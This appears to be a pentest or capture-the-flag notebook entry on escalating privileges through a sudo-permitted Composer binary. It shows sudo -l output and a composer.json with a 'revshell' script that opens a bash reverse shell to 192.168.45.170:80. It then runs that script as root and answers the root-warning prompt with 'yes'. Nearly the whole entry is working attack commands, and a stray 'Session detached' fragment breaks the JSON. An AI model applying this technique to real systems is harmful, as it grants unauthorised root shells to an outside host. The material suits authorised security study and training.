Composer
Custom scripts
$ sudo -l
User x7331 may run the following commands on kali:
(ALL : ALL) ALL
(root) NOPASSWD: /usr/bin/composer --working-dir\=/var/www/html/laravel *
$ ls -la /var/www/html/laravel/composer.json
-rwxr-xr-x 1 x7331 x7331 1645 Sep 14 2023 /var/www/html/laravel/composer.json
$ cat composer.json
{!] Session detached ⇲
"scripts": {
"revshell": [
"/usr/bin/bash -c \"/usr/bin/bash -i >& /dev/tcp/192.168.45.170/80 0>&1\""
]
}
}
$ sudo /usr/bin/composer --working-dir\=/var/www/html/laravel run-script revshell
Do not run Composer as root/super user! See https://getcomposer.org/root for details
Continue as root/super user [yes]? yes
> /usr/bin/bash -c "/usr/bin/bash -i >& /dev/tcp/192.168.45.170/80 0>&1"Last updated